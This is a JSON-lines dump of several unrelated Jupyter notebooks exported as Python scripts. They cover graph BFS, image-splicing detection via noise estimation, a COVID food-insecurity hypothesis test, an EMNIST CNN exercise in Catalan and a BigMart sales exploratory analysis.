as nx\nimport matplotlib.pyplot as plt\n\n\n# + id=\"cn2vRM491Emf\" colab_type=\"code\" colab={} outputId=\"37cbe55d-50f2-4ed9-ffe1-20e36fcd5217\"\nG = nx.Graph()\nG.add_edge(1,2)\nG.add_edge(1,3)\nG.add_edge(2,3)\nnx.draw(G, with_labels=True)\nprint(\"Undirected Graph\")\nplt.show()\n\n# + id=\"dkE7BSjg1Emh\" colab_type=\"code\" colab={} outputId=\"01cb698d-caab-4fa3-987d-17d0ed880fa9\"\nD = nx.DiGraph()\nD.add_edge(1,2)\nD.add_edge(1,3)\nD.add_edge(3,2)\nD.add_edge(2,3)\nnx.draw(D, with_labels = True)\nprint(\"Directed Graph\")\nplt.show()\n\n# + [markdown] id=\"aG2BIEZV1Emk\" colab_type=\"text\"\n# ### Represenatations of Graph:\n# #### 1. Adjacency Lists:\n# -Using dict/hashtable to represent Graph\n# -Keys are the vertices and Values are it's neighbours\n# -Analysis:\n# - Memory = O(V + E)\n# - Time: -to find a neighbour: O(E)\n# - Example in Real Life: Storing friends of a person on social media platform\n# \n# #### 2. Implicit Lists:\n# - Neighbours are result of function f(V)\n# - Analysis:\n# - Memory = Zero Space or No space occupied\n# - Time = O(f(V)) i.e dependent on time function requires\n# - Example in Real Life: Rubriks cube\n#\n# #### 3. Object Oriented variation:\n# - Each Vertex is object\n# - ADL: v.neighbours = list of neighbours i.e ADL[v]\n# - Implicit List: v.neighbours = f(V)\n# \n# #### 4. Incidence Lists:\n# - Edges are objects\n# e.a and e.b ==> edge e connects vertex 'a' with 'b'\n# - u.edges = list of all edge objects from u\n# -Analysis:\n# -Memory = O(V*E + E)\n# -Time = to find neighbour: O(E)\n#\n\n# + id=\"Q8e-dlSt1Emk\" colab_type=\"code\" colab={}\n'''\n Implicit lists: Example Graph\n Imagine a graph in which the neighbours are defined as the multiple of Vertex\n -if directed: then,multiple as well as factors are neighbours\n -if undirected: then, multiple are neigbours while factors are not\n'''\n\ndef check_neighbours(V,E,directed = False):\n if directed:\n return (E%V == 0)\n return ((E%V == 0) or (V%E == 0))\n\n\n# + id=\"CKrHGD3J1Emm\" colab_type=\"code\" colab={} outputId=\"c99f20b3-655b-4ed1-af9d-178f4717f2ec\"\ncheck_neighbours(4,2)\n\n# + id=\"i7duAf_l1Emp\" colab_type=\"code\" colab={}\n'''\nObject Oriented Variation for Graph\n'''\nclass GraphNode:\n def __init__(self,label, directed = False):\n self.neighbours = set()\n self.label = label\n self.directed = directed\n \n def add_neighbours(self, node):\n if not self.directed:\n node.neighbours.add(self)\n self.neighbours.add(node)\n \n def print_label(self):\n print(self.label)\n \n def print_neighbours(self):\n for i in self.neighbours:\n i.print_label()\n# for i in range(len(self.neighbours)):\n# self.neighbours[i].print_label()\n\n\n# + id=\"nCYjIlMx1Emr\" colab_type=\"code\" colab={}\ndef take_input():\n size = int(input())\n start = int(input())\n edges = int(input())\n ADL = {i:[] for i in range(size)}\n for i in range(edges):\n x,y = list(map(int,input().split()))\n ADL[x].append(y)\n ADL[y].append(x)\n print(ADL)\n return (start,ADL)\n\n\n\n# + [markdown] id=\"qnVgDxFx1Emt\" colab_type=\"text\"\n# ### BFS:\n# Breadth First Search:\n# - Find a vertex given a graph.\n# - In BFS, we first check all neighbours before moving on to neighbours of neighbours\n# i.e All level 0 vertex is checked before moving on level 1\n# - Algorithm:\n#\n# (Queue based approach)\n# -Step1: Define a queue \n# -Step2: Intiliaze it with level 0 vertex or start vertex\n# -Step3: Define a list/set to store already visited vertex\n# -Step4: Repeat this step till queue is empty:\n# -Step1: check all Neighbours of queue[0]\n# -if not in visited list,add neighbour to the queue \n# - add the edge to ADL for current node and Add edge for current neighbour\n# -Step2: remove queue[0]\n\n# + id=\"lnR8mV-U1Emt\" colab_type=\"code\" colab={} outputId=\"449622ef-1dba-4247-a821-a0e0c4a0226c\"\ndef BFS(s,ADL):\n level = {s:0}\n parent = {s:0}\n i = 1\n frontier = [s]\n while frontier:\n next = []\n for u in frontier:\n for v in ADL[u]:\n if v not in level:\n level[v] = i\n parent[v] = u\n next.append(v)\n frontier = next\n i += 1\n print(level)\n print(parent)\nstart,ADL = take_input()\nBFS(start,ADL)\n\n","repo_name":"unna97/Algorithms-and-Data-Structures","sub_path":"_notebooks/2020-08-24-Graphs.ipynb","file_name":"2020-08-24-Graphs.ipynb","file_ext":"py","file_size_in_byte":5622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"35690449368","text":"# +\nimport numpy as np\nfrom skimage import io\nfrom skimage.restoration import estimate_sigma\nfrom skimage.segmentation import slic, mark_boundaries\nfrom sklearn.cluster import KMeans\n\nimport matplotlib.pyplot as plt\nfrom pprint import pprint\nimport csv\nimport os\n\n\n# -\n\ndef estimate_noise(img):\n return estimate_sigma(img, multichannel=True, average_sigmas=True)\n\n\n# +\npath = 'data/2-noise-estimation'\norig_filename = '1-1-original-background'\nfilename = '2-1-spliced-original'\next = 'png'\n\nimg = io.imread(f'{path}/{filename}.{ext}')\nimg = img[:, :, :3]\nimg_shape = img.shape\norig = io.imread(f'{path}/{orig_filename}.{ext}')\norig = orig[:, :, :3]\n\nsegments = slic(img, n_segments=100, sigma=5, start_label=1)\nplt.imshow(mark_boundaries(img, segments))\nio.imsave(f'outs/segmented-{filename}.png', mark_boundaries(img, segments))\nplt.show()\n\n\n# -\n\ndef shrink_image(img, range):\n img_shape = img.shape\n return img[\n range.get('min_row'):range.get('max_row') + 1,\n range.get('min_col'):range.get('max_col') + 1\n ]\n\n\n# +\nlabels = set()\nfor i in range(img_shape[0]):\n for j in range(img_shape[1]):\n if segments[i][j] not in labels:\n labels.add(segments[i][j])\n\nsuperpixels = []\nfor i in range(len(labels)):\n superpixels.append(np.zeros(img_shape))\n\nranges = []\nfor i in range(len(labels)):\n ranges.append({\n 'min_row': -1,\n 'max_row': -1,\n 'min_col': -1,\n 'max_col': -1\n })\n\ndef max(a, b):\n return a if a > b else b\ndef min(a, b):\n return a if a < b else b\n\nfor i in range(img_shape[0]):\n for j in range(img_shape[1]):\n [r, g, b] = img[i][j]\n sum = int(r) + int(g) + int(b)\n label_index = segments[i][j] - 1\n superpixels[label_index][i][j] = img[i][j]\n if ranges[label_index].get('min_row') == -1:\n ranges[label_index]['min_row'] = i\n if ranges[label_index].get('min_col') == -1:\n ranges[label_index]['min_col'] = j\n ranges[label_index]['max_row'] = max(ranges[label_index].get('max_row'), i)\n ranges[label_index]['max_col'] = max(ranges[label_index].get('max_col'), j)\n\n# +\n# for i in range(len(labels)):\n# io.imsave(f'outs/seg/seg-{i}.png', superpixels[i])\n\nfor i in range(len(labels)):\n superpixels[i] = shrink_image(superpixels[i], ranges[i])\n\nnoises = []\nfor i in range(len(labels)):\n noises.append(estimate_noise(superpixels[i]))\n# -\n\nwith open(f'noises-{filename}.csv', 'w') as f:\n writer = csv.writer(f)\n writer.writerow(['Superpixel', 'Sigma'])\n writer.writerows(zip(range(len(noises)), noises))\n\nplt.scatter(range(len(noises)), noises)\nplt.savefig(f'plot-{filename}.png', bbox_inches='tight', dpi=500)\nplt.show()\n\n# +\ndata = np.array(noises)\nkmeans = KMeans(n_clusters=2, init='k-means++').fit(data.reshape(-1,1))\nout = kmeans.predict(data.reshape(-1,1))\n\n# kmeans.cluster_centers_\n\n# +\ni_segmented = np.zeros((img_shape[0], img_shape[1]))\n\nfor i in range(img_shape[0]):\n for j in range(img_shape[1]):\n i_segmented[i][j] = out[segments[i][j] - 1]\n\ni_segmented = np.array(i_segmented, dtype='int64')\n\nmarked = mark_boundaries(img, i_segmented)\nplt.imshow(marked)\nio.imsave(f'out-{filename}.png', marked)\nplt.show()\n\n\n# +\ndef equals(a, b):\n for i in range(len(a)):\n if not a[i] == b[i]:\n return False\n return True\n\nspliced_label = []\nfor i in range(img_shape[0]):\n spliced_label_row = []\n for j in range(img_shape[1]):\n spliced_label_row.append(0 if equals(img[i][j], orig[i][j]) else 1)\n spliced_label.append(spliced_label_row)\nspliced_label = np.array(spliced_label, dtype='int64')\n\n\n\n\n# +\ntp = 0\nfp = 0\ntn = 0\nfn = 0\n\nfor i in range(img_shape[0]):\n for j in range(img_shape[1]):\n count += 1\n if i_segmented[i][j] == 1 and spliced_label[i][j] == 1:\n tp += 1\n elif i_segmented[i][j] == 1 and spliced_label[i][j] == 0:\n fp += 1\n elif i_segmented[i][j] == 0 and spliced_label[i][j] == 0:\n tn += 1\n elif i_segmented[i][j] == 0 and spliced_label[i][j] == 1:\n fn += 1\n\nprecision = tp / (tp + fp)\nrecall = tp / (tp + fn)\nf_1 = tp / (tp + ((fp + fn) / 2))\n\npprint({\n 'rows': img_shape[0],\n 'cols': img_shape[1],\n 'total': img_shape[0] * img_shape[1]\n})\npprint({\n 'True positives': tp,\n 'False positives': fp,\n 'True negatives': tn,\n 'False negatives': fn\n})\npprint({\n 'precision': precision,\n 'recall': recall,\n 'F_1 score': f_1\n})\n# -\n\n\n","repo_name":"lanukahjo/Image-Splicing-Localisation","sub_path":"jupyter-notebooks/test.ipynb","file_name":"test.ipynb","file_ext":"py","file_size_in_byte":4488,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"39813826714","text":"# + id=\"rRNSzymN7JZz\"\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import stats\n#importing necessary libraries\nimport scipy.stats as stats\nimport pylab\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"vZsKcuKT7TfI\" outputId=\"1db2f59a-6fab-4bd3-ccd7-5edd7b2e15f3\"\nfood_covid_df=pd.read_csv('food_covid_cleaned.csv')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 490} id=\"JMvjyiUy7cPg\" outputId=\"17311e69-a264-4cf0-f79c-f2570c1d652a\"\nfood_covid_df.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"atasg2av8Ayg\" outputId=\"81ec7799-eeca-4834-8d34-490a3f65753b\"\nfood_covid_df.columns\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"mGC0GmM5-CqI\" outputId=\"334ae10c-6493-4702-b721-b35cc9bf9d7a\"\nfood_covid_df['Location'].unique()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"78Oc6Ma7Btpw\" outputId=\"9e49dda5-2ae8-45d2-ffdc-a4ec2855d488\"\nfood_covid_df.isna().sum()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"rbohrk4efDfd\" outputId=\"e4545e07-28a3-449b-8fa2-95cf3a28f3fb\"\nfood_covid_df['Year'].value_counts()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"OaStD_0CCFVU\" outputId=\"98e33aaa-2a92-4ffc-8eac-008a07f0dc15\"\nfood_covid_df.info()\n# -\n\nfood_covid_df.describe()\n\n# ## Hypothesis testing\n#\n# H0: The factors we have examined from the “Covid-19 Food Insecurity” dataset, show that Covid-19 doesn’t \n# have an impact on the US food insecurities for different demographics of people.\n\n# Out of four dependent variables - (\"Enough of the kinds of food wanted\", \"Enough Food, but not always the kinds wanted\", \"Sometimes not enough to eat\", \"Often not enough to eat\"), we considered \"Often not enough to eat\" because it indicates the huge impact of covid on food Insecurity. \n\ndf=food_covid_df[['Often not enough to eat','New Covid Cases','Location']]\n\n# #### Skew Test\n\ndf['Often not enough to eat'].skew()\n\ndf['New Covid Cases'].skew()\n\n# #### Droping Null Values\n\ndf.shape\n\ndf.dropna(inplace = True)\n\ndf.shape\n\n# #### Normality test\n\na,b = stats.normaltest(age_df['Often not enough to eat'])\nprint(a,b) \nif b < 0.05:\n print(\"yes reject\")\nelse:\n print(\"not reject\")\n\n# Not normally distributed\n\n# #### Levene Test - Homogenity test\n\ncovid_mean = df['New Covid Cases'].mean()\ndf['New Covid Cases Category'] = df['New Covid Cases'].apply(lambda x: 'Less Than Mean' if x>=covid_mean else \"Greater Than Mean\")\n\n# +\nfrom scipy.stats import levene\nalpha=0.05\n\n# Create three arrays for each sample:\nctrl = df[df['New Covid Cases Category']=='Less Than Mean'][\"Often not enough to eat\"]\ntrt1 = df[df['New Covid Cases Category']=='Greater Than Mean'][\"Often not enough to eat\"]\nstat, p = levene(ctrl, trt1)\nif p150000] rusage[mem=150000]\" -gpu \"mode=shared:j_exclusive=no:gmem=6000:num=1\" \n#\n# # with scArches (query mapping)\n# echo \"python train_CR_design_scArches.py\" | bsub -G teichlab -o logfile-HLCA-%J.out -e logfile-HLCA-%J.err -q gpu-normal -M150000 -R \"select[mem>150000] rusage[mem=150000]\" -gpu \"mode=shared:j_exclusive=no:gmem=6000:num=1\" \n","repo_name":"MarioniLab/oor_design_reproducibility","sub_path":"src/5_IPF_HLCA_design/HLCA_prep_designs.ipynb","file_name":"HLCA_prep_designs.ipynb","file_ext":"py","file_size_in_byte":7669,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"39809148627","text":"# + id=\"FaadnhbpCcsh\"\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\nimport torch.optim as optim\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# + [markdown] id=\"Ly7lrx-gCuLy\"\n# # Xarxes convolucionals\n#\n# L'objectiu d'avui és la creació d'una xarxa convolucional que obtengui com a mínim igual resultat que la xarxa completament connectada implementada la setmana anterior però amb menys paràmetres. Per poder realitzar comparacions directes emprarem el mateix conjunt de dades.\n#\n# Com objectius secundaris tenim:\n#\n# 1. Aprenentatge de noves estratègies per evitar `overfitting`.\n# 2. Us d'un nou optimitzador.\n# 3. Visualització dels resultats dels filtres convolucionals.\n\n# + id=\"PwSoPhjXCvV9\"\n# El label del dataset és l'índex de la llista labels. Cada posició de la llista és un codi ASCII. Podeu emprar la funció chr per fer la transformació\n\n# Definim una seqüència (composició) de transformacions\ntransform=transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.1307,), (0.3081,)) # mitjana, desviacio tipica (precalculats)\n ])\n\n# Descarregam un dataset ja integrat en la llibreria Pytorch:\ntrain = datasets.EMNIST('data', split=\"digits\", train=True, download=True, transform=transform) ## Si acabau podeu fer proves amb el split \"balanced\"\ntest = datasets.EMNIST('data', split=\"digits\",train=False, transform=transform)\n# -\n\nclasses = test.classes\n\n# + jupyter={\"outputs_hidden\": false}\ntrain_batch_size = 64\ntest_batch_size = 100\n\n# Transformam les dades en l'estructura necessaria per entrenar una xarxa\ntrain_loader = torch.utils.data.DataLoader(train, train_batch_size)\ntest_loader = torch.utils.data.DataLoader(test, test_batch_size)\n\n\n# + [markdown] id=\"s8i4Mg8KuD3r\"\n# ## Definició de la xarxa\n#\n# ### Feina a fer\n#\n# 1. Definir la primera xarxa convolucional. A continuació teniu una llista de les capes que podeu emprar:\n#\n#\n# - `Conv2d`: Capa convolucional en 2 dimensions. Com a paràmetres principals trobarem:\n#\n# - in_channels: canals d'entrada.\n# - out_channels : canals de sortida (nombre de filtres).\n# - kernel_size: mida del filtre.\n# - stride: desplaçament del filtre. Típicament pren per valor 1.\n# - padding: ampliació de la imatge per evitar pèrdua de dimensionalitat.\n#\n# - `MaxPool2d`: Capa de max pooling. Aquesta capa no té paràmetres entrenables. Però si:\n#\n# - kernel_size: Mida del filtre del qual es seleccionarà el màxim.\n# - stride: desplaçament del filtre.\n#\n# - `Dropout`: Dropout és un mètode de regularització (evitar `overfitting`) que aproxima l'entrenament d'un gran nombre de xarxes neuronals amb diferents arquitectures en paral·lel. Durant l'entrenament, una part de les sortides de la capa s'ignoren aleatòriament o s'abandonen. Això té l'efecte de fer que la capa sembli i es tracti com una capa amb un nombre diferent de nodes i connectivitat a la capa anterior. En efecte, cada actualització d'una capa durant l'entrenament es realitza amb una vista diferent de la capa configurada. Hem d'especificar quines capes tenen `dropout` de manera individual. Té un únic paràmetre amb valor per defecte $p=0.5$ Els valors típics d'aquest paràmetre varien entre $0.5$ i $0.8$.\n#\n#\n# - `Linear`\n#\n# - `ReLU`\n#\n#\n# 2. Per posibilitar la visualització de les imatges passades per les capes convolucionals farem que funció `forward` tengui diverses sortides (diferents valors de `return`) un per cada capa convolucional de la xarxa.\n\n# + id=\"IQvdRDtTHdRy\"\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv_1 = nn.Conv2d(in_channels=1, out_channels=8, kernel_size=3, stride=1, padding=1)\n self.conv_2 = nn.Conv2d(in_channels=8, out_channels=16, kernel_size=3, stride=1, padding=1)\n self.max_pool2d = nn.MaxPool2d(kernel_size=2, stride=2)\n self.linear_1 = nn.Linear(7*7*16, 32)\n self.linear_2 = nn.Linear(32, 10)\n self.dropout = nn.Dropout(p=0.5)\n self.relu = nn.ReLU()\n\n def forward(self, x):\n y = self.conv_1(x)\n x = self.max_pool2d(y)\n z = self.conv_2(x)\n x = self.max_pool2d(z)\n x = torch.flatten(x, 1)\n x = self.linear_1(x)\n x = self.dropout(x)\n x = self.relu(x)\n x = self.linear_2(x)\n\n output = F.log_softmax(x, dim=1)\n return output, y, z\n\n\n# + [markdown] id=\"A6ISOL_hCk7g\"\n# ## Entrenament\n#\n# Això no varia massa de la setmana anterior\n#\n# ### Feina a fer\n#\n# 1. Modificar la sortida de la xarxa, ara retorna diversos valors, encara que aquí només us interessa un.\n\n# + id=\"h9OLtpPzClch\"\ndef train(model, device, train_loader, optimizer, epoch, log_interval=100, verbose=True):\n \n model.train()\n\n loss_v = 0\n\n for batch_idx, (data, target) in enumerate(train_loader):\n \n data, target = data.to(device), target.to(device)\n optimizer.zero_grad()\n output, _, _ = model(data)\n ## Aquesta setmana empram la cross_entropy com una funció a diferència de la stmana passada\n loss = F.cross_entropy(output, target, reduction='sum')\n loss.backward()\n optimizer.step()\n if batch_idx % log_interval == 0 and verbose:\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}, Average: {:.6f}'.format(\n epoch, batch_idx * len(data), len(train_loader.dataset),\n 100. * batch_idx / len(train_loader), loss.item(), loss.item()/ len(data)))\n loss_v += loss.item()\n\n loss_v /= len(train_loader.dataset)\n print('\\nTrain set: Average loss: {:.4f}\\n'.format(loss_v))\n \n return loss_v\n\n\ndef test(model, device, test_loader):\n model.eval()\n test_loss = 0\n correct = 0\n with torch.no_grad():\n for data, target in test_loader:\n data, target = data.to(device), target.to(device)\n output, _, _ = model(data)\n test_loss += F.cross_entropy(output, target, reduction='sum') \n pred = output.argmax(dim=1, keepdim=True) # get the index of the max probability\n correct += pred.eq(target.view_as(pred)).sum().item()\n \n \n test_loss /= len(test_loader.dataset)\n\n print('\\nTest set: Average loss: {:.4f}, Accuracy: {}/{} ({:.0f}%)\\n'.format(\n test_loss, correct, len(test_loader.dataset),\n 100. * correct / len(test_loader.dataset)))\n \n return test_loss\n\n# + [markdown] id=\"RBGKL43vsUnD\"\n# A continuació definim els paràmetres d'entrenament i el bucle principal:\n#\n# ### Adam\n#\n# Aquesta setmana introduirem un nou algorisme d'optimització anomenat `Adam`. Fins ara hem emprat el descens del gradient (`SGD`). \n#\n# `Adam()` és un algorisme d'optimització amplament emprat, tal com el descens del gradient, és iteratiu. A la literatura trobam arguments que indiquen que, tot i que Adam convergeix més ràpidament, SGD generalitza millor que Adam i, per tant, resulta en un rendiment final millor. \n#\n# [Més info](https://medium.com/geekculture/a-2021-guide-to-improving-cnns-optimizers-adam-vs-sgd-495848ac6008)\n#\n#\n# ### Feina a fer:\n# 1. Mostrar el nombre de paràmetres de la xarxa i compara-ho amb el nombre de paràmetres amb la xarxa de la setmana passada)\n# ```\n# pytorch_total_params = sum(p.numel() for p in model.parameters() if p.requires_grad)\n# ```\n# 2. Dibuixar els gràfics de la funció de pèrdua amb les dues funcions d'optimització que coneixem.\n\n# + id=\"cNIBWqAwsVSb\"\nuse_cuda = True\ntorch.manual_seed(33)\n\nif use_cuda:\n device = torch.device(\"cuda\")\nelse:\n device = torch.device(\"cpu\")\n\nepochs = 15\nlr =0.00001\n\nmodel = Net().to(device)\n\noptimizer = optimizer = optim.Adam(model.parameters(), lr=lr)\n\n# Guardam el valor de peèrdua mig de cada iteració (època)\ntrain_l = np.zeros((epochs))\ntest_l = np.zeros((epochs))\n\n# Bucle d'entrenament\nfor epoch in range(0, epochs):\n train_l[epoch] = train(model, device, train_loader, optimizer, epoch)\n test_l[epoch] = test(model, device, test_loader)\n\n# -\n\n# Sempre va bé veure les gràfiques d'entrenament\n\nplt.title(\"Resultats de l'entrenament\")\nplt.plot(range(1, (epochs + 1)), train_l, c=\"red\", label=\"train\")\nplt.plot(range(1, (epochs + 1)), test_l, c=\"green\", label=\"test\")\nplt.legend();\n\n# + [markdown] id=\"wjeMWK8cJkqN\"\n# ## Resultats\n#\n# Aquí visualitzarem els resultats d'aprenentatge de la xarxa. \n#\n# ### Feina a fer:\n#\n# 1. Fer una predicció del primer _batch_ del conjunt de _test_.\n# 2. Visualitzar una imatge del _batch_ i posar la predicció i el groun truth com a títol de la imatge.\n# 3. Visualitzar el resultat de la mateixa imatge passada per tots els filtres de cada convolució de la vostra xarxa.\n# 4. **Extra**: Fer la matriu de confusió de les 10 classes per poder entendre el que no estau fent bé (la xarxa no està fent bé).\n#\n# A tenir en compte:\n#\n# #### Subplots\n#\n# Per fer graelles d'imatges podeu empar la funció `subplots`. Més [informació](https://matplotlib.org/stable/api/_as_gen/matplotlib.pyplot.subplots.html)\n#\n# #### Device\n#\n# Si heu emprat _GPU_ per accelerar el procés d'entrenament, els resultats que obtenim de la xarxa també seràn a la _GPU_. **Pytorch** proporciona la funció `cpu()` que retorna una còpia d'aquest objecte a la memòria de la CPU.\n#\n# #### Detach\n# Per poder operar amb els resultats de la predicció emprarem la funció `detach` que retorna un nou Tensor \"separat\" del graf (xarxa) en curs.\n#\n# Per tant per transformar el tensor que retorna la xarxa en un array de la lliberia _Numpy_ caldria fer el següent:\n#\n# ```\n# resultat_np = resultat.detach().numpy()\n# ```\n# Si a més hem executat l'entrenament en _GPU_:\n# ```\n# resultat_np = resultat.cpu().detach().numpy()\n# ```\n#\n# -\n\n# #### 1. Predicció del conjunt de test\n\n# +\nfrom sklearn.metrics import accuracy_score\n\nmodel.eval() # Posam la xarxa en mode avaluació\n\ntargets = []\npredictions = []\n\nwith torch.no_grad(): # desactiva el càlcul de gradients, no ho necessitam per l'inferència. Estalvia memòria i fa més ràpids els càlculs\n for data, target in test_loader:\n data, target = data.to(device), target.to(device)\n \n output,_ , _ = model(data)\n pred = output.argmax(dim=1, keepdim=True) # index amb la max probabilitat\n targets.extend(target.tolist())\n predictions.extend(torch.flatten(pred.cpu()).tolist())\n \ntargets = np.asarray(targets)\npredictions = np.asarray(predictions)\n\nprint(f\"Accuracy: {accuracy_score(targets, predictions)}\")\n\n\n# -\n\n# #### 2 Visualització de la primera imatge del batch i veure la seva predicció\n\n# + id=\"SYKUppOc_4JE\"\ndef generador(loader):\n for data, target in test_loader:\n data, target = data.to(device), target.to(device)\n yield data, target\n\ngen = generador(test_loader)\n\ndata, true_labels = next(gen)\n\nmodel.eval()\n\noutput, f1, f2 = model(data)\n\nlabels = output.detach().cpu().numpy()\nimages = data.cpu().numpy()\nlabels = np.argmax(labels, axis=1)\n\nplt.title(f'Pred: {classes[labels[0]]} - True: {classes[int(true_labels[0])]}')\nplt.imshow(images[0,0,:,:]);\n# -\n\n# Sortida de la primera capa convolucional\n\n# #### 3 Visualitzar el resultat de la mateixa imatge passada per tots els filtres de cada convolució de la xarxa.\n\n# +\nrows= 2\ncols = 4\nimg_count = 0\n\nfig, axes = plt.subplots(nrows=rows, ncols=cols, figsize=(24, 12))\nfig.suptitle('Resultat de la primera capa de convolucions', fontsize=16)\n\nfor i in range(rows):\n for j in range(cols): \n if img_count < rows*cols:\n axes[i, j].imshow(f1.detach().cpu().numpy()[1,img_count,:,:])\n \n img_count+=1\n \nfig.set\nplt.show()\n# -\n\n# #### 4 Fer la matriu de confusió de les 10 classes per poder entendre el que no estau fent bé (la xarxa no està fent bé).\n\n# +\nimport seaborn as sns\nfrom sklearn.metrics import confusion_matrix\n\ncm = confusion_matrix(targets, predictions)\n\n# Visualize confusion matrix with seaborn heatmap\nplt.figure(figsize=(10, 8))\nsns.heatmap(cm, annot=True, cmap='Blues', fmt='d')\nplt.xlabel('Prediccions')\nplt.ylabel('Ground Truth')\nplt.title('Matriu de confusió')\nplt.show()\n# -\n\n# ### Nombre de paràmetres de la xarxa\n\npytorch_total_params = sum(p.numel() for p in model.parameters() if p.requires_grad)\npytorch_total_params\n","repo_name":"bmalcover/aa_2324","sub_path":"07_CNN/Solució/FCN2CNN.ipynb","file_name":"FCN2CNN.ipynb","file_ext":"py","file_size_in_byte":12331,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"43424344627","text":"# +\n#Import important library\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn import metrics\nplt.style.use('ggplot')\n\n#Import big mart data base training set & test set\ntrain = pd.read_csv('train_bigmart.csv')\ntest = pd.read_csv('test_bigmart.csv')\n# -\n\n# # Exploratory Data Analysis (EDA)\n\n# +\n\nprint(train.head(10))\n# -\n\n#Data Shape\ntrain.shape\n\n#Data Info\ntrain.info()\n\n# from overview data, we will know we have 11 attributes composes of float64 = 3, int64 =1, and object = 7\n# Total Observation in training set 8523 observations\n\n#Statistic Summary of Trainin Set\ntrain.describe()\n\n# Is it impossible that item_Visibility (% display area in the store) for any item to be zero?\n#\n# If they sold in the shop should be not zero, they should have area to display \n\n# +\n#To Find Numerical Features from Data Set\n\nnumeric_features = train.select_dtypes(include=[np.number])\nnumeric_features.dtypes\n\n# +\n#Check missing value in our data set\ntrain.isnull().sum()\n\n#Visualize Missing Value by Heatmap\nplt.figure(figsize=(10,5))\nsns.heatmap(train.isnull(), yticklabels=False, cmap = 'viridis' )\n# -\n\n#To See Category in each object\n#Item_Fat_Content\ntrain['Item_Fat_Content'].unique()\n\n#Item_Type\ntrain['Item_Type'].unique()\n\n#Outlet_Size\ntrain['Outlet_Size'].unique()\n\n#Outlet_Type\ntrain['Outlet_Type'].unique()\n\n#Outlet_Identifier\ntrain['Outlet_Identifier'].unique()\n\n#Outlet_Location_Type\ntrain['Outlet_Location_Type'].unique()\n\n#To Find Item_Visibility zero vavlue\n(train['Item_Visibility']==0).sum()\n\n# # Exploring Data Distribution\n\n#Weight Distribution\ntrain['Item_Weight'].plot.hist(figsize = (10,5))\nplt.xlabel('Weight Bin')\nplt.title('Weight Distribution')\n\n#Visibility Distribution\ntrain['Item_Visibility'].plot.hist(figsize = (10,5))\nplt.xlabel('Visibility Bin')\nplt.title('Visibility Distribution')\n\n#Maximum Retail Price Distribution\ntrain['Item_MRP'].plot.hist(figsize = (10,5))\nplt.xlabel('MRP Bin')\nplt.title('Maximum Retail Price Distribution')\n\n#Item Outlet Sale Distribution\ntrain['Item_Outlet_Sales'].plot.hist(figsize = (10,5))\nplt.xlabel('Outlet Sales Bin')\nplt.title('Item Outlet Sales Distribution')\n\n# # Exploring Binary and Categorical Data\n\n#Distribution of Variable \"Item Fat Content\"\nplt.figure(figsize=(10,5))\nsns.countplot(x='Item_Fat_Content', data= train)\n\n# It seem to be only 2 category in this category \"Low Fat\" and \"Regular\" we have to replace low fat, LF with Low Fat and reg with Regular\n\n#Distribution of Variable \"Item Type\"\nplt.figure(figsize=(7,10))\nsns.countplot(y='Item_Type', data= train, order = train['Item_Type'].value_counts().index)\n\n#Distribution of Variable \"Outlet Size\"\nplt.figure(figsize=(10,5))\nsns.countplot(x='Outlet_Size', data= train, order = train['Outlet_Size'].value_counts().index)\n\n#Distribution of Variable \"Outlet Location Type\"\nplt.figure(figsize=(10,5))\nsns.countplot(x='Outlet_Location_Type', data= train, order =train['Outlet_Location_Type'].value_counts().index)\n\n#Distribution of Variable \"Outlet Type\"\nplt.figure(figsize=(10,5))\nsns.countplot(x='Outlet_Type', data= train, order = train['Outlet_Type'].value_counts().index)\n\n#Distribution of Variable \"Outlet Establishment Year\"\nplt.figure(figsize=(10,5))\nsns.countplot(x='Outlet_Establishment_Year', data= train, order = train['Outlet_Establishment_Year'].value_counts().index)\n\n#Distribution of Variable \"Outlet Identifier\"\nplt.figure(figsize=(10,5))\nsns.countplot(x='Outlet_Identifier', data= train, order = train['Outlet_Identifier'].value_counts().index)\n\n#Total Sales of Outlet Identifier\ntotal_sales1 = train.groupby('Outlet_Identifier')['Item_Outlet_Sales'].sum()\nobjects = ('OUT010','OUT013','OUT017','OUT018','OUT019','OUT027','OUT035','OUT045','OUT046','OUT049')\ny_pos = np.arange(len(objects))\nplt.figure(figsize=(12,5))\nplt.bar(y_pos, total_sales1, align='center', alpha=0.5)\nplt.xticks(y_pos, objects)\nplt.show\n\n#Total Sales of Outlet Location Type\ntotal_sales2=train.groupby('Outlet_Location_Type')['Item_Outlet_Sales'].sum()\nobjects = ('Tier 1','Tier 2','Tier 3')\ny_pos = np.arange(len(objects))\nplt.figure(figsize=(12,5))\nplt.bar(y_pos, total_sales2, align='center', alpha=0.5)\nplt.xticks(y_pos, objects)\nplt.show\n\n#Total Sales of Outlet Location Type\ntotal_sales3 = train.groupby('Outlet_Type')['Item_Outlet_Sales'].sum()\nobjects = ('Grocery Store','Supermarket Type1','Supermarket Type2','Supermarket Type3' )\ny_pos = np.arange(len(objects))\nplt.figure(figsize=(12,5))\nplt.bar(y_pos, total_sales3, align='center', alpha=0.5)\nplt.xticks(y_pos, objects)\nplt.show\n\n\n#Correlation Between Numerical 